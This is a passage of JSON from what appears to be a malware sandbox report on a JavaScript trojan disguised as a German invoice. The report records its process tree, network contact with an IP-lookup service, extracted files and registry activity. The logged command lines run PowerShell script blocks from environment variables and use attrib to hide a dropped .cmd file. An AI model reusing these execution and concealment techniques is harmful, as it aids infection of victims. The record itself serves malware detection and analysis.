processes"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Attempts to identify external IP address"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"intel_graph":{"map":{"Domain:ip-api.com":{"type":"Domain","value":"ip-api.com"},"File:06b73f5efdcbd3df0e71920ccc601e9a5a85915351b11708049e50c2bb21c41f":{"type":"File","value":"06b73f5efdcbd3df0e71920ccc601e9a5a85915351b11708049e50c2bb21c41f"},"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d":{"type":"File","value":"11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348":{"type":"File","value":"b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348"},"File:b9fc1821605c5ea5eb4f55406aeb7dd125c2461282e12df319fd48421605c684":{"type":"File","value":"b9fc1821605c5ea5eb4f55406aeb7dd125c2461282e12df319fd48421605c684"},"File:e4f092686dc6d80d8e86357885dfc69db35daf77dd9e2d24bdc7956a34d7e160":{"type":"File","value":"e4f092686dc6d80d8e86357885dfc69db35daf77dd9e2d24bdc7956a34d7e160"},"Ip:208.95.112.1":{"type":"Ip","value":"208.95.112.1"},"Url:/line/?fields=hosting":{"type":"Url","value":"/line/?fields=hosting"}},"chains":[{"id":"sandbox_network","root":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","edges":[{"edge_kind":"contacted_ip","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_domain","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"Domain:ip-api.com"},{"edge_kind":"resolves_to","from_key":"Domain:ip-api.com","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_url","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"Url:/line/?fields=hosting"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","edges":[{"edge_kind":"extracted","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"File:b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348"},{"edge_kind":"extracted","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"File:e4f092686dc6d80d8e86357885dfc69db35daf77dd9e2d24bdc7956a34d7e160"},{"edge_kind":"extracted","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"File:b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348"},{"edge_kind":"extracted","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"File:06b73f5efdcbd3df0e71920ccc601e9a5a85915351b11708049e50c2bb21c41f"},{"edge_kind":"extracted","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"File:b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348"},{"edge_kind":"extracted","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"File:b9fc1821605c5ea5eb4f55406aeb7dd125c2461282e12df319fd48421605c684"},{"edge_kind":"extracted","from_key":"File:11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":8,"spawned_processes_count":8,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":28,"imported_dlls_count":163,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":22,"files_deleted_count":0,"registry_keys_created_count":26,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":26,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6abf7d7fb5902fdd0b0878fa","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Obfuscated.CT trojan","contacted_countries":["USA"],"submit_name":"Rechnung 103971 GmbH 10-02-2026.js","analysis_start_time":"2026-10-02T09:46:40+00:00","indicators_count":{"informative":174,"suspicious":41,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"dns_resolutions":[{"domain":"ip-api.com","address":"208.95.112.1","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"http_requests":[{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/line/?fields=hosting","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /line/?fields=hosting HTTP/1.1\nHost: ip-api.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}],"processes":[{"pid":7632,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\Rechnung103971GmbH10-02-2026.js\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00007632","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVR4Xs2Siw7DIAhF/XQ/rX+25cYxkV58FbOdxLRFhQNbSoqc8yt66fxDcCGSvxBYkjghcF3XvMQJATAtcUoATEn0BOT3nFn6jq3RxRMo8WSi9290KbnM5hd95gYTkFjOia5CLS5TwHvNUlkS4J1b2uJ4l4WYPb0h0O/eK+5JbAn4+N2HCtjOvQnYfEDn0+cpnsAdyVsn0Gx3WBIAJXbvnk2hvcnZFAC1a/aclVgWAOP/wrzElgCImsS2AIiYxCMB8HQSQQK8qH0yiW0B7I0WcmiJMAEvbju1EiECJdbkaNDFC8ETYIn1sxXge59gE6P4Ary4LaTPsuI6TmECAHFc7C2cQQ75xrvNA7YEgD07wt4XtgWi+H8B+9ueWLbuT3kDb24C8Zv/GpsAAAAASUVORK5CYII="},{"pid":652,"ppid":7632,"name":"powershell.exe","command_line":"-noprofile -command &($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HXIHKE))","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007632","uid":"00000000-00000652"},{"pid":5296,"ppid":7632,"name":"cmd.exe","command_line":"/c call \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd\" & attrib +h +s \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007632","uid":"00000000-00005296"},{"pid":868,"ppid":5296,"name":"powershell.exe","command_line":"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005296","uid":"00000000-00000868"},{"pid":1280,"ppid":5296,"name":"powershell.exe","command_line":"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005296","uid":"00000000-00001280"},{"pid":7652,"ppid":1280,"name":"powershell.exe","command_line":"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001280","uid":"00000000-00007652"},{"pid":4940,"ppid":7652,"name":"choice.exe","command_line":"","sha256":"f11a3916e2a4d93d823dfcfb043048b49bac84340037f438c96b2af6602719b6","normalized_path":"%WINDIR%\\SysWOW64\\choice.exe","parent_uid":"00000000-00007652","uid":"00000000-00004940"},{"pid":7088,"ppid":5296,"name":"attrib.exe","command_line":"attrib +h +s \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd\"","sha256":"e17685417ff4d982d9fd1ddbbcb2f4aadb3c6e8b4865ecbf786113feb8d96c1d","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00005296","uid":"00000000-00007088"}],"all_imported_dlls":["wininet.dll","sechost.dll","sxs.dll","wintrust.dll","iertutil.dll","System.Numerics.ni.dll","MpClient.dll","vcruntime140_clr0400.dll","System.Transactions.ni.dll","xmllite.dll","dpapi.dll","imagehlp.dll","mscoree.dll","winnsi.dll","uxtheme.dll","Microsoft.BitLocker.Structures.dll","ulib.dll","msctf.dll","SHCore.dll","msIso.dll","nsi.dll","dhcpcsvc.dll","System.Security.dll","ucrtbase.dll","wow64.dll","wmiutils.dll","dhcpcsvc6.dll","vcruntime140.dll","amsi.dll","dwmapi.dll","wldp.dll","atl.dll","IPHLPAPI.DLL","Microsoft.PowerShell.Commands.Utility.dll","Microsoft.Management.Infrastructure.Native.dll","rasman.dll","ntshrui.dll","msvcp_win.dll","System.Management.Automation.ni.dll","clrjit.dll","System.Management.dll","cryptnet.dll","normaliz.dll","advapi32.dll","psapi.dll","System.Configuration.ni.dll","Microsoft.IIS.Powershell.Commands.ni.dll","crypt32.dll","Microsoft.AppV.AppvClientComConsumer.dll","ole32.dll","fltLib.dll","slc.dll","aepic.dll","mscoreei.dll","cscapi.dll","policymanager.dll","System.Management.Automation.dll","kernel32.dll","Microsoft.PowerShell.Security.ni.dll","wow64win.dll","System.Numerics.dll","fastprox.dll","vaultcli.dll","msvcrt.dll","vcruntime140_1.dll","cryptsp.dll","powrprof.dll","System.Data.dll","Microsoft.PowerShell.Commands.Management.ni.dll","Microsoft.IIS.Powershell.Provider.ni.dll","WMINet_Utils.dll","ntdll.dll","sppc.dll","gpapi.dll","urlmon.dll","winhttp.dll","cldapi.dll","clr.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","win32u.dll","userenv.dll","MpOAV.dll","cfgmgr32.dll","Microsoft.KeyDistributionService.Cmdlets.ni.dll","version.dll","kernel.appcore.dll","secur32.dll","VxSSL32.dll","System.Configuration.Install.dll","KernelBase.dll","msasn1.dll","rsaenh.dll","Windows.StateRepositoryPS.dll","System.DirectoryServices.dll","OpcServices.dll","wbemcomn.dll","oleaut32.dll","imm32.dll","VxSSL64.dll","Microsoft.Management.Infrastructure.ni.dll","AppResolver.dll","Microsoft.AppV.AppVClientPowerShell.dll","dnsapi.dll","comctl32.dll","coml2.dll","shell32.dll","sspicli.dll","Microsoft.PowerShell.Security.dll","combase.dll","user32.dll","clbcatq.dll","cryptbase.dll","System.Xml.ni.dll","wow64cpu.dll","rasapi32.dll","rtutils.dll","gdi32.dll","msvcp140.dll","scrrun.dll","System.Core.ni.dll","Microsoft.PowerShell.ConsoleHost.dll","Microsoft.PowerShell.Commands.Management.dll","System.ServiceProcess.dll","mswsock.dll","bcrypt.dll","wshext.dll","edputil.dll","ucrtbase_clr0400.dll","System.ni.dll","System.Management.ni.dll","cmdext.dll","AppxSip.dll","gdi32full.dll","mscorlib.ni.dll","System.DirectoryServices.ni.dll","rasadhlp.dll","Accessibility.dll","fsutilext.dll","System.Drawing.dll","WinTypes.dll","bcryptprimitives.dll","ws2_32.dll","shlwapi.dll","jscript.dll","ntmarta.dll","propsys.dll","msvcp110_win.dll","7iP7e5T4.dll","windows.storage.dll","mpr.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Transactions.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","rpcrt4.dll","profapi.dll","System.Data.ni.dll","System.Configuration.Install.ni.dll","System.Windows.Forms.dll","FWPUCLNT.DLL","msisip.dll","scrobj.dll","linkinfo.dll","srvcli.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"54102062952225.cmd","sha256":"b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"search_crc_NQFEMERLh.cmd","sha256":"e4f092686dc6d80d8e86357885dfc69db35daf77dd9e2d24bdc7956a34d7e160","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"search_crc_PNIAFPLE.cmd","sha256":"b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"RAP3MVT72BSEYKQWA9FG.temp","sha256":"06b73f5efdcbd3df0e71920ccc601e9a5a85915351b11708049e50c2bb21c41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"search_crc.dat","sha256":"b2864007557d67648946e9205236d2f3e5bc6539564dbd69cbda8787955f4348","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"ModuleAnalysisCache","sha256":"b9fc1821605c5ea5eb4f55406aeb7dd125c2461282e12df319fd48421605c684","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_otxtzg5t.aay.ps1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xsfgfeug.i1z.psm1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_obe4jvir.3b5.ps1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_g45gscq3.qyw.psm1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_01ymlnrm.yad.ps1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_0tkx5vdy.xjv.psm1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\RAP3MVT72BSEYKQWA9FG.temp","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_2ixktt4g.jza.ps1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_j2fn5n5t.ewz.psm1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7632:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Local\\SM0:7632:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Local\\SM0:7632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:652:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"SM0:652:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"NDICCUPLQAQ","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"SM0:868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\NDICCUPLQAQ","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"SM0:1280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7652:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7652:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Local\\SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Local\\SM0:7652:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"SM0:7652:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4940:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}]}},"report_ids":{"sandbox_job_ids":["6abf7d7fb5902fdd0b0878fa"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious JS/Obfuscated.CT trojan Sample 11deb13e28a8… — 